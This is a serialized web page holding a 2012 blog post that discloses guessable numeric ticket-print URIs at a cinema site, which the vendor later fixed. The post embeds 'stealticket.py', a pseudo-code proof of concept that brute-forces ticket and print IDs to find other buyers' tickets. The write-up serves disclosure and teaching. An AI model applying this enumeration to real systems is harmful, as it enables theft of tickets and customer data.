[{"data":1,"prerenderedAt":411},["ShallowReactive",2],{"i-lucide:menu":3,"i-lucide:arrow-up-right":8,"i-lucide:moon":10,"i-lucide:sun":12,"i-lucide:rss":14,"i-simple-icons:github":16,"i-simple-icons:linkedin":18,"post-\u002F2012\u002Feasily-guessable-uri-s-not-a-good-idea":21,"surround-\u002F2012\u002Feasily-guessable-uri-s-not-a-good-idea":96,"i-lucide:arrow-left":105,"i-lucide:arrow-right":107,"gist-2794030":109},{"left":4,"top":4,"width":5,"height":5,"rotate":4,"vFlip":6,"hFlip":6,"body":7},0,24,false,"\u003Cpath fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M4 5h16M4 12h16M4 19h16\"\u002F>",{"left":4,"top":4,"width":5,"height":5,"rotate":4,"vFlip":6,"hFlip":6,"body":9},"\u003Cpath fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M7 7h10v10M7 17L17 7\"\u002F>",{"left":4,"top":4,"width":5,"height":5,"rotate":4,"vFlip":6,"hFlip":6,"body":11},"\u003Cpath fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M20.985 12.486a9 9 0 1 1-9.473-9.472c.405-.022.617.46.402.803a6 6 0 0 0 8.268 8.268c.344-.215.825-.004.803.401\"\u002F>",{"left":4,"top":4,"width":5,"height":5,"rotate":4,"vFlip":6,"hFlip":6,"body":13},"\u003Cg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\">\u003Ccircle cx=\"12\" cy=\"12\" r=\"4\"\u002F>\u003Cpath d=\"M12 2v2m0 16v2M4.93 4.93l1.41 1.41m11.32 11.32l1.41 1.41M2 12h2m16 0h2M6.34 17.66l-1.41 1.41M19.07 4.93l-1.41 1.41\"\u002F>\u003C\u002Fg>",{"left":4,"top":4,"width":5,"height":5,"rotate":4,"vFlip":6,"hFlip":6,"body":15},"\u003Cg fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\">\u003Cpath d=\"M4 11a9 9 0 0 1 9 9M4 4a16 16 0 0 1 16 16\"\u002F>\u003Ccircle cx=\"5\" cy=\"19\" r=\"1\"\u002F>\u003C\u002Fg>",{"left":4,"top":4,"width":5,"height":5,"rotate":4,"vFlip":6,"hFlip":6,"body":17},"\u003Cpath fill=\"currentColor\" d=\"M12 .297c-6.63 0-12 5.373-12 12c0 5.303 3.438 9.8 8.205 11.385c.6.113.82-.258.82-.577c0-.285-.01-1.04-.015-2.04c-3.338.724-4.042-1.61-4.042-1.61C4.422 18.07 3.633 17.7 3.633 17.7c-1.087-.744.084-.729.084-.729c1.205.084 1.838 1.236 1.838 1.236c1.07 1.835 2.809 1.305 3.495.998c.108-.776.417-1.305.76-1.605c-2.665-.3-5.466-1.332-5.466-5.93c0-1.31.465-2.38 1.235-3.22c-.135-.303-.54-1.523.105-3.176c0 0 1.005-.322 3.3 1.23c.96-.267 1.98-.399 3-.405c1.02.006 2.04.138 3 .405c2.28-1.552 3.285-1.23 3.285-1.23c.645 1.653.24 2.873.12 3.176c.765.84 1.23 1.91 1.23 3.22c0 4.61-2.805 5.625-5.475 5.92c.42.36.81 1.096.81 2.22c0 1.606-.015 2.896-.015 3.286c0 .315.21.69.825.57C20.565 22.092 24 17.592 24 12.297c0-6.627-5.373-12-12-12\"\u002F>",{"left":4,"top":4,"width":5,"height":5,"rotate":4,"vFlip":6,"hFlip":6,"body":19,"hidden":20},"\u003Cpath fill=\"currentColor\" d=\"M20.447 20.452h-3.554v-5.569c0-1.328-.027-3.037-1.852-3.037c-1.853 0-2.136 1.445-2.136 2.939v5.667H9.351V9h3.414v1.561h.046c.477-.9 1.637-1.85 3.37-1.85c3.601 0 4.267 2.37 4.267 5.455v6.286zM5.337 7.433a2.06 2.06 0 0 1-2.063-2.065a2.064 2.064 0 1 1 2.063 2.065m1.782 13.019H3.555V9h3.564zM22.225 0H1.771C.792 0 0 .774 0 1.729v20.542C0 23.227.792 24 1.771 24h20.451C23.2 24 24 23.227 24 22.271V1.729C24 .774 23.2 0 22.222 0z\"\u002F>",true,{"id":22,"title":23,"body":24,"category":80,"comments":81,"date":82,"description":30,"excerpt":81,"extension":83,"image":81,"meta":84,"navigation":20,"path":85,"readingTime":86,"seo":87,"stem":88,"subtitle":81,"tags":89,"wordCount":94,"__hash__":95},"posts\u002F2012\u002Feasily-guessable-uri-s-not-a-good-idea.md","Easily guessable URI-s: not a good idea",{"type":25,"value":26,"toc":77},"minimark",[27,31,34,37,48,51,54,57,60,64,71],[28,29,30],"p",{},"I was buying an E-ticket to a cinema the other day when I noticed something strange... and quite scary. Namely, the Print Ticket URI that outputs a PDF version of the ticket had only two dynamic parts in it, both of them really short numeric strings.",[28,32,33],{},"That's actually OK, the window was on a HTTPS connection and I assumed viewing the ticket required login...but no. Opening up Chrome in Incognito mode yielded a scary result: the file was visible to anyone on the web.",[28,35,36],{},"The URI for my ticket was in the following format:",[38,39,44],"pre",{"className":40,"code":42,"language":43},[41],"language-text","https:\u002F\u002Fwww.yyy.ee\u002Fet\u002Fcheckout\u002Fprinter\u002FXXXXXX\u002FXXXXXXX\u002F\n","text",[45,46,42],"code",{"__ignoreMap":47},"",[28,49,50],{},"... where X represents a numeric value (range 0-9). It's easy to guess what the numbers mean. The first part is the ticket number (the number itself was actually printed on the ticket), the second is some kind of an authorization or storage ID for the printing system.",[28,52,53],{},"It's a safe bet to guess that the ticket number is like any other Primary Key in a database: sequentially growing, so for example, the next person to buy a ticket from the cinema would have a ticket number of XXXXXX + 1. As for the second seven-digit number, it could also be in an easily guessable format (most likely sequential, like the ticket ID), but even if the number is random, it's nevertheless easily guessable because of the limited alphabet and string length. You could even buy two tickets at once and then compare the ticket number with the second value to guess it's calculation algorithm.",[28,55,56],{},"The results of such paractices is that anyone with basic programming knowledge would be able to write a simple algorithm and steal other users tickets. All they'd have to do is get ahold of valid ticket URI-s that haven't been used yet, print the tickets and watch free movies.",[28,58,59],{},"Below is a proof-of-concept pseudo-algorithm for getting a list of sold tickets:",[61,62],"gist",{"id":63},"2794030",[28,65,66,70],{},[67,68,69],"strong",{},"Update",": They have now fixed the problem (in response to me pointing it out) by replacing the two numbers with a hash string. I'm still having my doubts about the validity of the solution, but since I didn't take the time to discover what the second parameter meant, I'm unable to try to reproduce \u002F crack the hashing algorithm.",[28,72,73],{},[74,75,76],"em",{},"The purpose of this article is purely educational. You should not try this in practice. The author of this article takes no responsibility for any consequences.",{"title":47,"searchDepth":78,"depth":78,"links":79},2,[],"Software Development",null,"2012-05-26","md",{},"\u002F2012\u002Feasily-guessable-uri-s-not-a-good-idea","about 2 minutes",{"title":23,"description":30},"2012\u002Feasily-guessable-uri-s-not-a-good-idea",[90,91,92,93],"Web application","cinema","uri schema","hacking",400,"Pv28_s_hfan3ve5FjlNTPVTbJRMSG4xgTS1nTe-74fQ",[97,101],{"title":98,"path":99,"stem":100,"children":-1},"Finland International Improv Festival 2012","\u002F2012\u002Ffinland-international-improv-festival-2012","2012\u002Ffinland-international-improv-festival-2012",{"title":102,"path":103,"stem":104,"children":-1},"Tackling the problem of a shared database","\u002F2012\u002Ftackling-the-problem-of-a-shared-database","2012\u002Ftackling-the-problem-of-a-shared-database",{"left":4,"top":4,"width":5,"height":5,"rotate":4,"vFlip":6,"hFlip":6,"body":106},"\u003Cpath fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"m12 19l-7-7l7-7m7 7H5\"\u002F>",{"left":4,"top":4,"width":5,"height":5,"rotate":4,"vFlip":6,"hFlip":6,"body":108},"\u003Cpath fill=\"none\" stroke=\"currentColor\" stroke-linecap=\"round\" stroke-linejoin=\"round\" stroke-width=\"2\" d=\"M5 12h14m-7-7l7 7l-7 7\"\u002F>",{"id":110,"title":111,"body":112,"createdAt":402,"description":47,"extension":83,"files":403,"gistId":63,"meta":404,"navigation":20,"owner":405,"path":406,"seo":407,"stem":408,"url":409,"__hash__":410},"gists\u002Fgists\u002F2794030.md","Pseudo-code, proof-of-concept: tickets are stealable",{"type":25,"value":113,"toc":400},[114,396],[38,115,120],{"className":116,"code":117,"filename":118,"language":119,"meta":47,"style":47},"language-python shiki shiki-themes github-light github-dark","# Pseudo-code to prove that some tickets are hackable\n# Blog post: http:\u002F\u002Fsqroot.eu\u002F2012\u002F05\u002Feasily-guessable-uri-s-not-a-good-idea\n# Ticket URI, visible to the World: https:\u002F\u002Fwww.yyy.ee\u002Fet\u002Fcheckout\u002Fprinter\u002FXXXXXX\u002FXXXXXXX\u002F\n\n# Make a HTTPS connection and return the status code of the URI\n# 200 means that the ticket exists\ndef get_http_status_code(ticket_number, print_number):\n    return url.open(ticket_uri(ticket_number, print_number)).get_status()\n\n# Return the full URI of the ticket\ndef ticket_uri(ticket_number, print_number):\n    return \"https:\u002F\u002Fwww.yyy.ee\u002Fet\u002Fcheckout\u002Fprinter\u002F\"+ticket_number+\"\u002F\"+print_number\n\n# Check if a ticket exists\ndef check_ticket(number):\n    for i in range(1, 9999999):\n        if (get_http_status_code(number, i) == 200):\n            print \"Ticket match: \"+ticket_uri(number, i)\n\n# Main loop\nfor j in range(100000, 99999999):\n    check_ticket(j)\n\n# The output of running this would be like so:\n#\n# $python stealticket.py.py\n# Ticket match: https:\u002F\u002Fwww.yyy.ee\u002Fet\u002Fcheckout\u002Fprinter\u002F765812\u002F2387649\n# Ticket match: https:\u002F\u002Fwww.yyy.ee\u002Fet\u002Fcheckout\u002Fprinter\u002F654756\u002F4369801\n# Ticket match: https:\u002F\u002Fwww.yyy.ee\u002Fet\u002Fcheckout\u002Fprinter\u002F533236\u002F3536344\n","stealticket.py","python",[45,121,122,131,136,142,148,154,160,175,184,189,195,205,230,235,241,252,283,300,314,319,325,350,356,361,366,372,378,384,390],{"__ignoreMap":47},[123,124,127],"span",{"class":125,"line":126},"line",1,[123,128,130],{"class":129},"sJ8bj","# Pseudo-code to prove that some tickets are hackable\n",[123,132,133],{"class":125,"line":78},[123,134,135],{"class":129},"# Blog post: http:\u002F\u002Fsqroot.eu\u002F2012\u002F05\u002Feasily-guessable-uri-s-not-a-good-idea\n",[123,137,139],{"class":125,"line":138},3,[123,140,141],{"class":129},"# Ticket URI, visible to the World: https:\u002F\u002Fwww.yyy.ee\u002Fet\u002Fcheckout\u002Fprinter\u002FXXXXXX\u002FXXXXXXX\u002F\n",[123,143,145],{"class":125,"line":144},4,[123,146,147],{"emptyLinePlaceholder":20},"\n",[123,149,151],{"class":125,"line":150},5,[123,152,153],{"class":129},"# Make a HTTPS connection and return the status code of the URI\n",[123,155,157],{"class":125,"line":156},6,[123,158,159],{"class":129},"# 200 means that the ticket exists\n",[123,161,163,167,171],{"class":125,"line":162},7,[123,164,166],{"class":165},"szBVR","def",[123,168,170],{"class":169},"sScJk"," get_http_status_code",[123,172,174],{"class":173},"sVt8B","(ticket_number, print_number):\n",[123,176,178,181],{"class":125,"line":177},8,[123,179,180],{"class":165},"    return",[123,182,183],{"class":173}," url.open(ticket_uri(ticket_number, print_number)).get_status()\n",[123,185,187],{"class":125,"line":186},9,[123,188,147],{"emptyLinePlaceholder":20},[123,190,192],{"class":125,"line":191},10,[123,193,194],{"class":129},"# Return the full URI of the ticket\n",[123,196,198,200,203],{"class":125,"line":197},11,[123,199,166],{"class":165},[123,201,202],{"class":169}," ticket_uri",[123,204,174],{"class":173},[123,206,208,210,214,217,220,222,225,227],{"class":125,"line":207},12,[123,209,180],{"class":165},[123,211,213],{"class":212},"sZZnC"," \"https:\u002F\u002Fwww.yyy.ee\u002Fet\u002Fcheckout\u002Fprinter\u002F\"",[123,215,216],{"class":165},"+",[123,218,219],{"class":173},"ticket_number",[123,221,216],{"class":165},[123,223,224],{"class":212},"\"\u002F\"",[123,226,216],{"class":165},[123,228,229],{"class":173},"print_number\n",[123,231,233],{"class":125,"line":232},13,[123,234,147],{"emptyLinePlaceholder":20},[123,236,238],{"class":125,"line":237},14,[123,239,240],{"class":129},"# Check if a ticket exists\n",[123,242,244,246,249],{"class":125,"line":243},15,[123,245,166],{"class":165},[123,247,248],{"class":169}," check_ticket",[123,250,251],{"class":173},"(number):\n",[123,253,255,258,261,264,268,271,274,277,280],{"class":125,"line":254},16,[123,256,257],{"class":165},"    for",[123,259,260],{"class":173}," i ",[123,262,263],{"class":165},"in",[123,265,267],{"class":266},"sj4cs"," range",[123,269,270],{"class":173},"(",[123,272,273],{"class":266},"1",[123,275,276],{"class":173},", ",[123,278,279],{"class":266},"9999999",[123,281,282],{"class":173},"):\n",[123,284,286,289,292,295,298],{"class":125,"line":285},17,[123,287,288],{"class":165},"        if",[123,290,291],{"class":173}," (get_http_status_code(number, i) ",[123,293,294],{"class":165},"==",[123,296,297],{"class":266}," 200",[123,299,282],{"class":173},[123,301,303,306,309,311],{"class":125,"line":302},18,[123,304,305],{"class":266},"            print",[123,307,308],{"class":212}," \"Ticket match: \"",[123,310,216],{"class":165},[123,312,313],{"class":173},"ticket_uri(number, i)\n",[123,315,317],{"class":125,"line":316},19,[123,318,147],{"emptyLinePlaceholder":20},[123,320,322],{"class":125,"line":321},20,[123,323,324],{"class":129},"# Main loop\n",[123,326,328,331,334,336,338,340,343,345,348],{"class":125,"line":327},21,[123,329,330],{"class":165},"for",[123,332,333],{"class":173}," j ",[123,335,263],{"class":165},[123,337,267],{"class":266},[123,339,270],{"class":173},[123,341,342],{"class":266},"100000",[123,344,276],{"class":173},[123,346,347],{"class":266},"99999999",[123,349,282],{"class":173},[123,351,353],{"class":125,"line":352},22,[123,354,355],{"class":173},"    check_ticket(j)\n",[123,357,359],{"class":125,"line":358},23,[123,360,147],{"emptyLinePlaceholder":20},[123,362,363],{"class":125,"line":5},[123,364,365],{"class":129},"# The output of running this would be like so:\n",[123,367,369],{"class":125,"line":368},25,[123,370,371],{"class":129},"#\n",[123,373,375],{"class":125,"line":374},26,[123,376,377],{"class":129},"# $python stealticket.py.py\n",[123,379,381],{"class":125,"line":380},27,[123,382,383],{"class":129},"# Ticket match: https:\u002F\u002Fwww.yyy.ee\u002Fet\u002Fcheckout\u002Fprinter\u002F765812\u002F2387649\n",[123,385,387],{"class":125,"line":386},28,[123,388,389],{"class":129},"# Ticket match: https:\u002F\u002Fwww.yyy.ee\u002Fet\u002Fcheckout\u002Fprinter\u002F654756\u002F4369801\n",[123,391,393],{"class":125,"line":392},29,[123,394,395],{"class":129},"# Ticket match: https:\u002F\u002Fwww.yyy.ee\u002Fet\u002Fcheckout\u002Fprinter\u002F533236\u002F3536344\n",[397,398,399],"style",{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":47,"searchDepth":78,"depth":78,"links":401},[],"2012-05-26T13:50:02Z",[118],{},"anroots","\u002Fgists\u002F2794030",{"title":111,"description":47},"gists\u002F2794030","https:\u002F\u002Fgist.github.com\u002Fanroots\u002F2794030","kB6o4VT8FoU6TVMbIVcTPZzkyhrkXg2118Ocv_3AD34",1790886934194]